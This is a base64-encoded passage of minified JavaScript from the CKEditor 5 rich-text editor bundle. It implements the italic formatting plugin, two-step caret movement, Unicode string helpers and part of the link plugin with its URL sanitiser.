ygpe3JldHVybltoRSxnRV19fWNvbnN0IGtFPSJpdGFsaWMiO2NsYXNzIGJFIGV4dGVuZHMgbkN7c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIkl0YWxpY0VkaXRpbmcifWluaXQoKXtjb25zdCB0PXRoaXMuZWRpdG9yO3QubW9kZWwuc2NoZW1hLmV4dGVuZCgiJHRleHQiLHthbGxvd0F0dHJpYnV0ZXM6a0V9KTt0Lm1vZGVsLnNjaGVtYS5zZXRBdHRyaWJ1dGVQcm9wZXJ0aWVzKGtFLHtpc0Zvcm1hdHRpbmc6dHJ1ZSxjb3B5T25FbnRlcjp0cnVlfSk7dC5jb252ZXJzaW9uLmF0dHJpYnV0ZVRvRWxlbWVudCh7bW9kZWw6a0UsdmlldzoiaSIsdXBjYXN0QWxzbzpbImVtIix7c3R5bGVzOnsiZm9udC1zdHlsZSI6Iml0YWxpYyJ9fV19KTt0LmNvbW1hbmRzLmFkZChrRSxuZXcgVkModCxrRSkpO3Qua2V5c3Ryb2tlcy5zZXQoIkNUUkwrSSIsa0UpfX12YXIgd0U9Jzxzdmcgdmlld0JveD0iMCAwIDIwIDIwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxwYXRoIGQ9Ik05LjU4NiAxNC42MzNsLjAyMS4wMDRjLS4wMzYuMzM1LjA5NS42NTUuMzkzLjk2Mi4wODIuMDgzLjE3My4xNS4yNzQuMjAxaDEuNDc0YS42LjYgMCAxIDEgMCAxLjJINS4zMDRhLjYuNiAwIDAgMSAwLTEuMmgxLjE1Yy40NzQtLjA3LjgwOS0uMTgyIDEuMDA1LS4zMzQuMTU3LS4xMjIuMjkxLS4zMi40MDQtLjU5N2wyLjQxNi05LjU1YTEuMDUzIDEuMDUzIDAgMCAwLS4yODEtLjgyMyAxLjEyIDEuMTIgMCAwIDAtLjQ0Mi0uMjk2SDguMTVhLjYuNiAwIDAgMSAwLTEuMmg2LjQ0M2EuNi42IDAgMSAxIDAgMS4yaC0xLjE5NWMtLjM3Ni4wNTYtLjY1LjE1NS0uODIzLjI5Ni0uMjE1LjE3NS0uNDIzLjQzOS0uNjIzLjc5bC0yLjM2NiA5LjM0N3oiLz48L3N2Zz4nO2NvbnN0IENFPSJpdGFsaWMiO2NsYXNzIEFFIGV4dGVuZHMgbkN7aW5pdCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7Y29uc3QgZT10LnQ7dC51aS5jb21wb25lbnRGYWN0b3J5LmFkZChDRSwobj0+e2NvbnN0IGk9dC5jb21tYW5kcy5nZXQoQ0UpO2NvbnN0IG89bmV3IGN3KG4pO28uc2V0KHtsYWJlbDplKCJJdGFsaWMiKSxpY29uOndFLGtleXN0cm9rZToiQ1RSTCtJIix0b29sdGlwOnRydWUsaXNUb2dnbGVhYmxlOnRydWV9KTtvLmJpbmQoImlzT24iLCJpc0VuYWJsZWQiKS50byhpLCJ2YWx1ZSIsImlzRW5hYmxlZCIpO3RoaXMubGlzdGVuVG8obywiZXhlY3V0ZSIsKCgpPT57dC5leGVjdXRlKENFKTt0LmVkaXRpbmcudmlldy5mb2N1cygpfSkpO3JldHVybiBvfSkpfX1jbGFzcyBfRSBleHRlbmRzIG5De3N0YXRpYyBnZXQgcmVxdWlyZXMoKXtyZXR1cm5bYkUsQUVdfXN0YXRpYyBnZXQgcGx1Z2luTmFtZSgpe3JldHVybiJJdGFsaWMifX1jbGFzcyB2RSBleHRlbmRzIG5De3N0YXRpYyBnZXQgcGx1Z2luTmFtZSgpe3JldHVybiJUd29TdGVwQ2FyZXRNb3ZlbWVudCJ9Y29uc3RydWN0b3IodCl7c3VwZXIodCk7dGhpcy5hdHRyaWJ1dGVzPW5ldyBTZXQ7dGhpcy5fb3ZlcnJpZGVVaWQ9bnVsbH1pbml0KCl7Y29uc3QgdD10aGlzLmVkaXRvcjtjb25zdCBlPXQubW9kZWw7Y29uc3Qgbj10LmVkaXRpbmcudmlldztjb25zdCBpPXQubG9jYWxlO2NvbnN0IG89ZS5kb2N1bWVudC5zZWxlY3Rpb247dGhpcy5saXN0ZW5UbyhuLmRvY3VtZW50LCJrZXlkb3duIiwoKHQsZSk9PntpZighby5pc0NvbGxhcHNlZCl7cmV0dXJufWlmKGUuc2hpZnRLZXl8fGUuYWx0S2V5fHxlLmN0cmxLZXkpe3JldHVybn1jb25zdCBuPWUua2V5Q29kZT09TGwuYXJyb3dyaWdodDtjb25zdCByPWUua2V5Q29kZT09TGwuYXJyb3dsZWZ0O2lmKCFuJiYhcil7cmV0dXJufWNvbnN0IHM9aS5jb250ZW50TGFuZ3VhZ2VEaXJlY3Rpb247bGV0IGE9ZmFsc2U7aWYocz09PSJsdHIiJiZufHxzPT09InJ0bCImJnIpe2E9dGhpcy5faGFuZGxlRm9yd2FyZE1vdmVtZW50KGUpfWVsc2V7YT10aGlzLl9oYW5kbGVCYWNrd2FyZE1vdmVtZW50KGUpfWlmKGE9PT10cnVlKXt0LnN0b3AoKX19KSx7cHJpb3JpdHk6b3MuZ2V0KCJoaWdoIikrMX0pO3RoaXMuX2lzTmV4dEdyYXZpdHlSZXN0b3JhdGlvblNraXBwZWQ9ZmFsc2U7dGhpcy5saXN0ZW5UbyhvLCJjaGFuZ2U6cmFuZ2UiLCgodCxlKT0+e2lmKHRoaXMuX2lzTmV4dEdyYXZpdHlSZXN0b3JhdGlvblNraXBwZWQpe3RoaXMuX2lzTmV4dEdyYXZpdHlSZXN0b3JhdGlvblNraXBwZWQ9ZmFsc2U7cmV0dXJufWlmKCF0aGlzLl9pc0dyYXZpdHlPdmVycmlkZGVuKXtyZXR1cm59aWYoIWUuZGlyZWN0Q2hhbmdlJiZNRShvLmdldEZpcnN0UG9zaXRpb24oKSx0aGlzLmF0dHJpYnV0ZXMpKXtyZXR1cm59dGhpcy5fcmVzdG9yZUdyYXZpdHkoKX0pKX1yZWdpc3RlckF0dHJpYnV0ZSh0KXt0aGlzLmF0dHJpYnV0ZXMuYWRkKHQpfV9oYW5kbGVGb3J3YXJkTW92ZW1lbnQodCl7Y29uc3QgZT10aGlzLmF0dHJpYnV0ZXM7Y29uc3Qgbj10aGlzLmVkaXRvci5tb2RlbDtjb25zdCBpPW4uZG9jdW1lbnQuc2VsZWN0aW9uO2NvbnN0IG89aS5nZXRGaXJzdFBvc2l0aW9uKCk7aWYodGhpcy5faXNHcmF2aXR5T3ZlcnJpZGRlbil7cmV0dXJuIGZhbHNlfWlmKG8uaXNBdFN0YXJ0JiZ5RShpLGUpKXtyZXR1cm4gZmFsc2V9aWYoTUUobyxlKSl7REUodCk7dGhpcy5fb3ZlcnJpZGVHcmF2aXR5KCk7cmV0dXJuIHRydWV9fV9oYW5kbGVCYWNrd2FyZE1vdmVtZW50KHQpe2NvbnN0IGU9dGhpcy5hdHRyaWJ1dGVzO2NvbnN0IG49dGhpcy5lZGl0b3IubW9kZWw7Y29uc3QgaT1uLmRvY3VtZW50LnNlbGVjdGlvbjtjb25zdCBvPWkuZ2V0Rmlyc3RQb3NpdGlvbigpO2lmKHRoaXMuX2lzR3Jhdml0eU92ZXJyaWRkZW4pe0RFKHQpO3RoaXMuX3Jlc3RvcmVHcmF2aXR5KCk7eEUobixlLG8pO3JldHVybiB0cnVlfWVsc2V7aWYoby5pc0F0U3RhcnQpe2lmKHlFKGksZSkpe0RFKHQpO3hFKG4sZSxvKTtyZXR1cm4gdHJ1ZX1yZXR1cm4gZmFsc2V9aWYoRUUobyxlKSl7aWYoby5pc0F0RW5kJiYheUUoaSxlKSYmTUUobyxlKSl7REUodCk7eEUobixlLG8pO3JldHVybiB0cnVlfXRoaXMuX2lzTmV4dEdyYXZpdHlSZXN0b3JhdGlvblNraXBwZWQ9dHJ1ZTt0aGlzLl9vdmVycmlkZUdyYXZpdHkoKTtyZXR1cm4gZmFsc2V9fX1nZXQgX2lzR3Jhdml0eU92ZXJyaWRkZW4oKXtyZXR1cm4hIXRoaXMuX292ZXJyaWRlVWlkfV9vdmVycmlkZUdyYXZpdHkoKXt0aGlzLl9vdmVycmlkZVVpZD10aGlzLmVkaXRvci5tb2RlbC5jaGFuZ2UoKHQ9PnQub3ZlcnJpZGVTZWxlY3Rpb25HcmF2aXR5KCkpKX1fcmVzdG9yZUdyYXZpdHkoKXt0aGlzLmVkaXRvci5tb2RlbC5jaGFuZ2UoKHQ9Pnt0LnJlc3RvcmVTZWxlY3Rpb25HcmF2aXR5KHRoaXMuX292ZXJyaWRlVWlkKTt0aGlzLl9vdmVycmlkZVVpZD1udWxsfSkpfX1mdW5jdGlvbiB5RSh0LGUpe2Zvcihjb25zdCBuIG9mIGUpe2lmKHQuaGFzQXR0cmlidXRlKG4pKXtyZXR1cm4gdHJ1ZX19cmV0dXJuIGZhbHNlfWZ1bmN0aW9uIHhFKHQsZSxuKXtjb25zdCBpPW4ubm9kZUJlZm9yZTt0LmNoYW5nZSgodD0+e2lmKGkpe3Quc2V0U2VsZWN0aW9uQXR0cmlidXRlKGkuZ2V0QXR0cmlidXRlcygpKX1lbHNle3QucmVtb3ZlU2VsZWN0aW9uQXR0cmlidXRlKGUpfX0pKX1mdW5jdGlvbiBERSh0KXt0LnByZXZlbnREZWZhdWx0KCl9ZnVuY3Rpb24gRUUodCxlKXtjb25zdCBuPXQuZ2V0U2hpZnRlZEJ5KC0xKTtyZXR1cm4gTUUobixlKX1mdW5jdGlvbiBNRSh0LGUpe2NvbnN0e25vZGVCZWZvcmU6bixub2RlQWZ0ZXI6aX09dDtmb3IoY29uc3QgdCBvZiBlKXtjb25zdCBlPW4/bi5nZXRBdHRyaWJ1dGUodCk6dW5kZWZpbmVkO2NvbnN0IG89aT9pLmdldEF0dHJpYnV0ZSh0KTp1bmRlZmluZWQ7aWYobyE9PWUpe3JldHVybiB0cnVlfX1yZXR1cm4gZmFsc2V9ZnVuY3Rpb24gU0UodCxlLG4saSl7cmV0dXJuIGkuY3JlYXRlUmFuZ2UoVEUodCxlLG4sdHJ1ZSxpKSxURSh0LGUsbixmYWxzZSxpKSl9ZnVuY3Rpb24gVEUodCxlLG4saSxvKXtsZXQgcj10LnRleHROb2RlfHwoaT90Lm5vZGVCZWZvcmU6dC5ub2RlQWZ0ZXIpO2xldCBzPW51bGw7d2hpbGUociYmci5nZXRBdHRyaWJ1dGUoZSk9PW4pe3M9cjtyPWk/ci5wcmV2aW91c1NpYmxpbmc6ci5uZXh0U2libGluZ31yZXR1cm4gcz9vLmNyZWF0ZVBvc2l0aW9uQXQocyxpPyJiZWZvcmUiOiJhZnRlciIpOnR9ZnVuY3Rpb24gSUUodCxlLG4saSl7Y29uc3Qgbz10LmVkaXRpbmcudmlldztjb25zdCByPW5ldyBTZXQ7by5kb2N1bWVudC5yZWdpc3RlclBvc3RGaXhlcigobz0+e2NvbnN0IHM9dC5tb2RlbC5kb2N1bWVudC5zZWxlY3Rpb247bGV0IGE9ZmFsc2U7aWYocy5oYXNBdHRyaWJ1dGUoZSkpe2NvbnN0IGM9U0Uocy5nZXRGaXJzdFBvc2l0aW9uKCksZSxzLmdldEF0dHJpYnV0ZShlKSx0Lm1vZGVsKTtjb25zdCBsPXQuZWRpdGluZy5tYXBwZXIudG9WaWV3UmFuZ2UoYyk7Zm9yKGNvbnN0IHQgb2YgbC5nZXRJdGVtcygpKXtpZih0LmlzKCJlbGVtZW50IixuKSYmIXQuaGFzQ2xhc3MoaSkpe28uYWRkQ2xhc3MoaSx0KTtyLmFkZCh0KTthPXRydWV9fX1yZXR1cm4gYX0pKTt0LmNvbnZlcnNpb24uZm9yKCJlZGl0aW5nRG93bmNhc3QiKS5hZGQoKHQ9Pnt0Lm9uKCJpbnNlcnQiLGUse3ByaW9yaXR5OiJoaWdoZXN0In0pO3Qub24oInJlbW92ZSIsZSx7cHJpb3JpdHk6ImhpZ2hlc3QifSk7dC5vbigiYXR0cmlidXRlIixlLHtwcmlvcml0eToiaGlnaGVzdCJ9KTt0Lm9uKCJzZWxlY3Rpb24iLGUse3ByaW9yaXR5OiJoaWdoZXN0In0pO2Z1bmN0aW9uIGUoKXtvLmNoYW5nZSgodD0+e2Zvcihjb25zdCBlIG9mIHIudmFsdWVzKCkpe3QucmVtb3ZlQ2xhc3MoaSxlKTtyLmRlbGV0ZShlKX19KSl9fSkpfWNsYXNzIE5Fe2NvbnN0cnVjdG9yKCl7dGhpcy5fZGVmaW5pdGlvbnM9bmV3IFNldH1nZXQgbGVuZ3RoKCl7cmV0dXJuIHRoaXMuX2RlZmluaXRpb25zLnNpemV9YWRkKHQpe2lmKEFycmF5LmlzQXJyYXkodCkpe3QuZm9yRWFjaCgodD0+dGhpcy5fZGVmaW5pdGlvbnMuYWRkKHQpKSl9ZWxzZXt0aGlzLl9kZWZpbml0aW9ucy5hZGQodCl9fWdldERpc3BhdGNoZXIoKXtyZXR1cm4gdD0+e3Qub24oImF0dHJpYnV0ZTpsaW5rSHJlZiIsKCh0LGUsbik9PntpZighbi5jb25zdW1hYmxlLnRlc3QoZS5pdGVtLCJhdHRyaWJ1dGU6bGlua0hyZWYiKSl7cmV0dXJufWNvbnN0IGk9bi53cml0ZXI7Y29uc3Qgbz1pLmRvY3VtZW50LnNlbGVjdGlvbjtmb3IoY29uc3QgdCBvZiB0aGlzLl9kZWZpbml0aW9ucyl7Y29uc3Qgcj1pLmNyZWF0ZUF0dHJpYnV0ZUVsZW1lbnQoImEiLHQuYXR0cmlidXRlcyx7cHJpb3JpdHk6NX0pO2kuc2V0Q3VzdG9tUHJvcGVydHkoImxpbmsiLHRydWUscik7aWYodC5jYWxsYmFjayhlLmF0dHJpYnV0ZU5ld1ZhbHVlKSl7aWYoZS5pdGVtLmlzKCJzZWxlY3Rpb24iKSl7aS53cmFwKG8uZ2V0Rmlyc3RSYW5nZSgpLHIpfWVsc2V7aS53cmFwKG4ubWFwcGVyLnRvVmlld1JhbmdlKGUucmFuZ2UpLHIpfX1lbHNle2kudW53cmFwKG4ubWFwcGVyLnRvVmlld1JhbmdlKGUucmFuZ2UpLHIpfX19KSx7cHJpb3JpdHk6ImhpZ2gifSl9fWdldERpc3BhdGNoZXJGb3JMaW5rZWRJbWFnZSgpe3JldHVybiB0PT57dC5vbigiYXR0cmlidXRlOmxpbmtIcmVmOmltYWdlIiwoKHQsZSxuKT0+e2NvbnN0IGk9bi5tYXBwZXIudG9WaWV3RWxlbWVudChlLml0ZW0pO2NvbnN0IG89QXJyYXkuZnJvbShpLmdldENoaWxkcmVuKCkpLmZpbmQoKHQ9PnQubmFtZT09PSJhIikpO2Zvcihjb25zdCB0IG9mIHRoaXMuX2RlZmluaXRpb25zKXtjb25zdCBpPUdzKHQuYXR0cmlidXRlcyk7aWYodC5jYWxsYmFjayhlLmF0dHJpYnV0ZU5ld1ZhbHVlKSl7Zm9yKGNvbnN0W3QsZV1vZiBpKXtpZih0PT09ImNsYXNzIil7bi53cml0ZXIuYWRkQ2xhc3MoZSxvKX1lbHNle24ud3JpdGVyLnNldEF0dHJpYnV0ZSh0LGUsbyl9fX1lbHNle2Zvcihjb25zdFt0LGVdb2YgaSl7aWYodD09PSJjbGFzcyIpe24ud3JpdGVyLnJlbW92ZUNsYXNzKGUsbyl9ZWxzZXtuLndyaXRlci5yZW1vdmVBdHRyaWJ1dGUodCxvKX19fX19KSl9fX1mdW5jdGlvbiBCRSh0LGUsbil7dmFyIGk9dC5sZW5ndGg7bj1uPT09dW5kZWZpbmVkP2k6bjtyZXR1cm4hZSYmbj49aT90OkJhKHQsZSxuKX12YXIgUEU9QkU7dmFyIHpFPSJcXHVkODAwLVxcdWRmZmYiLExFPSJcXHUwMzAwLVxcdTAzNmYiLE9FPSJcXHVmZTIwLVxcdWZlMmYiLFJFPSJcXHUyMGQwLVxcdTIwZmYiLGpFPUxFK09FK1JFLEZFPSJcXHVmZTBlXFx1ZmUwZiI7dmFyIFZFPSJcXHUyMDBkIjt2YXIgVUU9UmVnRXhwKCJbIitWRSt6RStqRStGRSsiXSIpO2Z1bmN0aW9uIEhFKHQpe3JldHVybiBVRS50ZXN0KHQpfXZhciBHRT1IRTtmdW5jdGlvbiBXRSh0KXtyZXR1cm4gdC5zcGxpdCgiIil9dmFyIEtFPVdFO3ZhciBxRT0iXFx1ZDgwMC1cXHVkZmZmIixZRT0iXFx1MDMwMC1cXHUwMzZmIixRRT0iXFx1ZmUyMC1cXHVmZTJmIiwkRT0iXFx1MjBkMC1cXHUyMGZmIixKRT1ZRStRRSskRSxaRT0iXFx1ZmUwZVxcdWZlMGYiO3ZhciBYRT0iWyIrcUUrIl0iLHRNPSJbIitKRSsiXSIsZU09IlxcdWQ4M2NbXFx1ZGZmYi1cXHVkZmZmXSIsbk09Iig/OiIrdE0rInwiK2VNKyIpIixpTT0iW14iK3FFKyJdIixvTT0iKD86XFx1ZDgzY1tcXHVkZGU2LVxcdWRkZmZdKXsyfSIsck09IltcXHVkODAwLVxcdWRiZmZdW1xcdWRjMDAtXFx1ZGZmZl0iLHNNPSJcXHUyMDBkIjt2YXIgYU09bk0rIj8iLGNNPSJbIitaRSsiXT8iLGxNPSIoPzoiK3NNKyIoPzoiK1tpTSxvTSxyTV0uam9pbigifCIpKyIpIitjTSthTSsiKSoiLGRNPWNNK2FNK2xNLHVNPSIoPzoiK1tpTSt0TSsiPyIsdE0sb00sck0sWEVdLmpvaW4oInwiKSsiKSI7dmFyIGhNPVJlZ0V4cChlTSsiKD89IitlTSsiKXwiK3VNK2RNLCJnIik7ZnVuY3Rpb24gZk0odCl7cmV0dXJuIHQubWF0Y2goaE0pfHxbXX12YXIgbU09Zk07ZnVuY3Rpb24gZ00odCl7cmV0dXJuIEdFKHQpP21NKHQpOktFKHQpfXZhciBwTT1nTTtmdW5jdGlvbiBrTSh0KXtyZXR1cm4gZnVuY3Rpb24oZSl7ZT1fYShlKTt2YXIgbj1HRShlKT9wTShlKTp1bmRlZmluZWQ7dmFyIGk9bj9uWzBdOmUuY2hhckF0KDApO3ZhciBvPW4/UEUobiwxKS5qb2luKCIiKTplLnNsaWNlKDEpO3JldHVybiBpW3RdKCkrb319dmFyIGJNPWtNO3ZhciB3TT1iTSgidG9VcHBlckNhc2UiKTt2YXIgQ009d007Y29uc3QgQU09L1tcdTAwMDAtXHUwMDIwXHUwMEEwXHUxNjgwXHUxODBFXHUyMDAwLVx1MjAyOVx1MjA1Zlx1MzAwMF0vZztjb25zdCBfTT0vXig/Oig/Omh0dHBzP3xmdHBzP3xtYWlsdG8pOnxbXmEtel18W2EteisuLV0rKD86W15hLXorLjotXXwkKSkvaTtjb25zdCB2TT0vXltcU10rQCgoPyFbLV9dKSg/OlstXHdcdTAwYTEtXHVmZmZmXXswLDYzfVteLV9dXC4pKSsoPzpbYS16XHUwMGExLVx1ZmZmZl17Mix9KSQvaTtjb25zdCB5TT0vXigoXHcrOihcL3syLH0pPyl8KFxXKSkvaTtjb25zdCB4TT0iQ3RybCtLIjtmdW5jdGlvbiBETSh0KXtyZXR1cm4gdC5pcygiYXR0cmlidXRlRWxlbWVudCIpJiYhIXQuZ2V0Q3VzdG9tUHJvcGVydHkoImxpbmsiKX1mdW5jdGlvbiBFTSh0LHt3cml0ZXI6ZX0pe2NvbnN0IG49ZS5jcmVhdGVBdHRyaWJ1dGVFbGVtZW50KCJhIix7aHJlZjp0fSx7cHJpb3JpdHk6NX0pO2Uuc2V0Q3VzdG9tUHJvcGVydHkoImxpbmsiLHRydWUsbik7cmV0dXJuIG59ZnVuY3Rpb24gTU0odCl7dD1TdHJpbmcodCk7cmV0dXJuIFNNKHQpP3Q6IiMifWZ1bmN0aW9uIFNNKHQpe2NvbnN0IGU9dC5yZXBsYWNlKEFNLCIiKTtyZXR1cm4gZS5tYXRjaChfTSl9ZnVuY3Rpb24gVE0odCxlKXtjb25zdCBuPXsiT3BlbiBpbiBhIG5ldyB0YWIiOnQoIk9wZW4gaW4gYSBuZXcgdGFiIiksRG93bmxvYWRhYmxlOnQoIkRvd25sb2FkYWJsZSIpfTtlLmZvckVhY2goKHQ9PntpZih0LmxhYmVsJiZuW3QubGFiZWxdKXt0LmxhYmVsPW5bdC5sYWJlbF19cmV0dXJuIHR9KSk7cmV0dXJuIGV9ZnVuY3Rpb24gSU0odCl7Y29uc3QgZT1bXTtpZih0KXtmb3IoY29uc3RbbixpXW9mIE9iamVjdC5lbnRyaWVzKHQpKXtjb25zdCB0PU9iamVjdC5hc3NpZ24oe30saSx7aWQ6YGxpbmske0NNKG4pfWB9KTtlLnB1c2godCl9fXJldHVybiBlfWZ1bmN0aW9uIE5NKHQsZSl7aWYoIXQpe3JldHVybiBmYWxzZX1yZXR1cm4gdC5pcygiZWxlbWVudCIsImltYWdlIikmJmUuY2hlY2tBdHRyaWJ1dGUoImltYWdlIiwibGlua0hyZWYiKX1mdW5jdGlvbiBCTSh0KXtyZXR1cm4gdk0udGVzdCh0KX1mdW5jdGlvbiBQTSh0LGUpe2NvbnN0IG49Qk0odCk/Im1haWx0bzoiOmU7Y29uc3QgaT0hIW4mJiF5TS50ZXN0KHQpO3JldHVybiB0JiZpP24rdDp0fWNsYXNzIHpNIGV4dGVuZHMgb0N7Y29uc3RydWN0b3IodCl7c3VwZXIodCk7dGhpcy5tYW51YWxEZWNvcmF0b3JzPW5ldyB2czt0aGlzLmF1dG9tYXRpY0RlY29yYXRvcnM9bmV3IE5FfXJlc3RvcmVNYW51YWxEZWNvcmF0b3JTdGF0ZXMoKXtmb3IoY29uc3QgdCBvZiB0aGlzLm1hbnVhbERlY29yYXRvcnMpe3QudmFsdWU9dGhpcy5fZ2V0RGVjb3JhdG9yU3RhdGVGcm9tTW9kZWwodC5pZCl9fXJlZnJlc2goKXtjb25zdCB0PXRoaXMuZWRpdG9yLm1vZGVsO2NvbnN0IGU9dC5kb2N1bWVudDtjb25zdCBuPXNDKGUuc2VsZWN0aW9uLmdldFNlbGVjdGVkQmxvY2tzKCkpO2lmKE5NKG4sdC5zY2hlbWEpKXt0aGlzLnZhbHVlPW4uZ2V0QXR0cmlidXRlKCJsaW5rSHJlZiIpO3RoaXMuaXNFbmFibGVkPXQuc2NoZW1hLmNoZWNrQXR0cmlidXRlKG4sImxpbmtIcmVmIil9ZWxzZXt0aGlzLnZhbHVlPWUuc2VsZWN0aW9uLmdldEF0dHJpYnV0ZSgibGlua0hyZWYiKTt0aGlzLmlzRW5hYmxlZD10LnNjaGVtYS5jaGVja0F0dHJpYnV0ZUluU2VsZWN0aW9uKGUuc2VsZWN0aW9uLCJsaW5rSHJlZiIpfWZvcihjb25zdCB0IG9mIHRoaXMubWFudWFsRGVjb3JhdG9ycyl7dC52YWx1ZT10aGlzLl9nZXREZWNvcmF0b3JTdGF0ZUZyb21Nb2RlbCh0LmlkKX19ZXhlY3V0ZSh0LGU9e30pe2NvbnN0IG49dGhpcy5lZGl0b3IubW9kZWw7Y29uc3QgaT1uLmRvY3VtZW50LnNlbGVjdGlvbjtjb25zdCBvPVtdO2NvbnN0IHI9W107Zm9yKGNvbnN0IHQgaW4gZSl7aWYoZVt0XSl7by5wdXNoKHQpfWVsc2V7ci5wdXNoKHQpfX1uLmNoYW5nZSgoZT0+e2lmKGkuaXNDb2xsYXBzZWQpe2NvbnN0IHM9aS5nZXRGaXJzdFBvc2l0aW9uKCk7aWYoaS5oYXNBdHRyaWJ1dGUoImxpbmtIcmVmIikpe2NvbnN0IGE9U0UocywibGlua0hyZWYiLGkuZ2V0QXR0cmlidXRlKCJsaW5rSHJlZiIpLG4pO2Uuc2V0QXR0cmlidXRlKCJsaW5rSHJlZiIsdCxhKTtvLmZvckVhY2goKHQ9PntlLnNldEF0dHJpYnV0ZSh0LHRydWUsYSl9KSk7ci5mb3JFYWNoKCh0PT57ZS5yZW1vdmVBdHRyaWJ1dGUodCxhKX0pKTtlLnNldFNlbGVjdGlvbihlLmNyZWF0ZVBvc2l0aW9uQWZ0ZXIoYS5lbmQubm9kZUJlZm9yZSkpfWVsc2UgaWYodCE9PSIiKXtjb25zdCByPUdzKGkuZ2V0QXR0cmlidXRlcygpKTtyLnNldCgibGlua0hyZWYiLHQpO28uZm9yRWFjaCgodD0+e3Iuc2V0KHQsdHJ1ZSl9KSk7Y29uc3R7ZW5kOmF9PW4uaW5zZXJ0Q29udGVudChlLmNyZWF0ZVRleHQodCxyKSxzKTtlLnNldFNlbGVjdGlvbihhKX1bImxpbmtIcmVmIiwuLi5vLC4uLnJdLmZvckVhY2goKHQ9PntlLnJlbW92ZVNlbGVjdGlvbkF0dHJpYnV0ZSh0KX0pKX1lbHNle2NvbnN0IHM9bi5zY2hlbWEuZ2V0VmFsaWRSYW5nZXMoaS5nZXRSYW5nZXMoKSwibGlua0hyZWYiKTtjb25zdCBhPVtdO2Zvcihjb25zdCB0IG9mIGkuZ2V0U2VsZWN0ZWRCbG9ja3MoKSl7aWYobi5zY2hlbWEuY2hlY2tBdHRyaWJ1dGUodCwibGlua0hyZWYiKSl7YS5wdXNoKGUuY3JlYXRlUmFuZ2VPbih0KSl9fWNvbnN0IGM9YS5zbGljZSgpO2Zvcihjb25zdCB0IG9mIHMpe2lmKHRoaXMuX2lzUmFuZ2VUb1VwZGF0ZSh0LGEpKXtjLnB1c2godCl9fWZvcihjb25zdCBuIG9mIGMpe2Uuc2V0QXR0cmlidXRlKCJsaW5rSHJlZiIsdCxuKTtvLmZvckVhY2goKHQ9PntlLnNldEF0dHJpYnV0ZSh0LHRydWUsbil9KSk7ci5mb3JFYWNoKCh0PT57ZS5yZW1vdmVBdHRyaWJ1dGUodCxuKX0pKX19fSkpfV9nZXREZWNvcmF0b3JTdGF0ZUZyb21Nb2RlbCh0KXtjb25zdCBlPXRoaXMuZWRpdG9yLm1vZGVsO2NvbnN0IG49ZS5kb2N1bWVudDtjb25zdCBpPXNDKG4uc2VsZWN0aW9uLmdldFNlbGVjdGVkQmxvY2tzKCkpO2lmKE5NKGksZS5zY2hlbWEpKXtyZXR1cm4gaS5nZXRBdHRyaWJ1dGUodCl9cmV0dXJuIG4uc2VsZWN0aW9uLmdldEF0dHJpYnV0ZSh0KX1faXNSYW5nZVRvVXBkYXRlKHQsZSl7Zm9yKGNvbnN0IG4gb2YgZSl7aWYobi5jb250YWluc1JhbmdlKHQpKXtyZXR1cm4gZmFsc2V9fXJldHVybiB0cnVlfX1jbGFzcyBMTSBleHRlbmRzIG9De3JlZnJlc2goKXtjb25zdCB0PXRoaXMuZWRpdG9yLm1vZGVsO2NvbnN0IGU9dC5kb2N1bWVudDtjb25zdCBuPXNDKGUuc2VsZWN0aW9uLmdldFNlbGVjdGVkQmxvY2tzKCkpO2lmKE5NKG4sdC5zY2hlbWEpKXt0aGlzLmlzRW5hYmxlZD10LnNjaGVtYS5jaGVja0F0dHJpYnV0ZShuLCJsaW5rSHJlZiIpfWVsc2V7dGhpcy5pc0VuYWJsZWQ9dC5zY2hlbWEuY2hlY2tBdHRyaWJ1dGVJblNlbGVjdGlvbihlLnNlbGVjdGlvbiwibGlua0hyZWYiKX19ZXhlY3V0ZSgpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7Y29uc3QgZT10aGlzLmVkaXRvci5tb2RlbDtjb25zdCBuPWUuZG9jdW1lbnQuc2VsZWN0aW9uO2NvbnN0IGk9dC5jb21tYW5kcy5nZXQoImxpbmsiKTtlLmNoYW5nZSgodD0+e2NvbnN0IG89bi5pc0NvbGxhcHNlZD9bU0Uobi5nZXRGaXJzdFBvc2l0aW9uKCksImxpbmtIcmVmIixuLmdldEF0dHJpYnV0ZSgibGlua0hyZWYiKSxlKV06ZS5zY2hlbWEuZ2V0VmFsaWRSYW5nZXMobi5nZXRSYW5nZXMoKSwibGlua0hyZWYiKTtmb3IoY29uc3QgZSBvZiBvKXt0LnJlbW92ZUF0dHJpYnV0ZSgibGlua0hyZWYiLGUpO2lmKGkpe2Zvcihjb25zdCBuIG9mIGkubWFudWFsRGVjb3JhdG9ycyl7dC5yZW1vdmVBdHRyaWJ1dGUobi5pZCxlKX19fX0pKX19Y2xhc3MgT017Y29uc3RydWN0b3Ioe2lkOnQsbGFiZWw6ZSxhdHRyaWJ1dGVzOm4sZGVmYXVsdFZhbHVlOml9KXt0aGlzLmlkPXQ7dGhpcy5zZXQoInZhbHVlIik7dGhpcy5kZWZhdWx0VmFsdWU9aTt0aGlzLmxhYmVsPWU7dGhpcy5hdHRyaWJ1dGVzPW59fV9zKE9NLEpjKTt2YXIgUk09big0Nik7dmFyIGpNPXtpbmplY3RUeXBlOiJzaW5nbGV0b25TdHlsZVRhZyIsYXR0cmlidXRlczp7ImRhdGEtY2tlIjp0cnVlfX07ak0uaW5zZXJ0PSJoZWFkIjtqTS5zaW5nbGV0b249dHJ1ZTt2YXIgRk09cmsoKShSTVsiYSJdLGpNKTt2YXIgVk09Uk1bImEiXS5sb2NhbHN8fHt9O2NvbnN0IFVNPSJjay1saW5rX3NlbGVjdGVkIjtjb25zdCBITT0iYXV0b21hdGljIjtjb25zdCBHTT0ibWFudWFsIjtjb25zdCBXTT0vXihodHRwcz86KT9cL1wvLztjbGFzcyBLTSBleHRlbmRzIG5De3N0YXRpYyBnZXQgcGx1Z2luTmFtZSgpe3JldHVybiJMaW5rRWRpdGluZyJ9c3RhdGljIGdldCByZXF1aXJlcygpe3JldHVyblt2RSxSQSxpQV19Y29uc3RydWN0b3IodCl7c3VwZXIodCk7dC5jb25maWcuZGVmaW5lKCJsaW5rIix7YWRkVGFyZ2V0VG9FeHRlcm5hbExpbmtzOmZhbHNlfSl9aW5pdCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7dC5tb2RlbC5zY2hlbWEuZXh0ZW5kKCIkdGV4dCIse2FsbG93QXR0cmlidXRlczoibGlua0hyZWYifSk7dC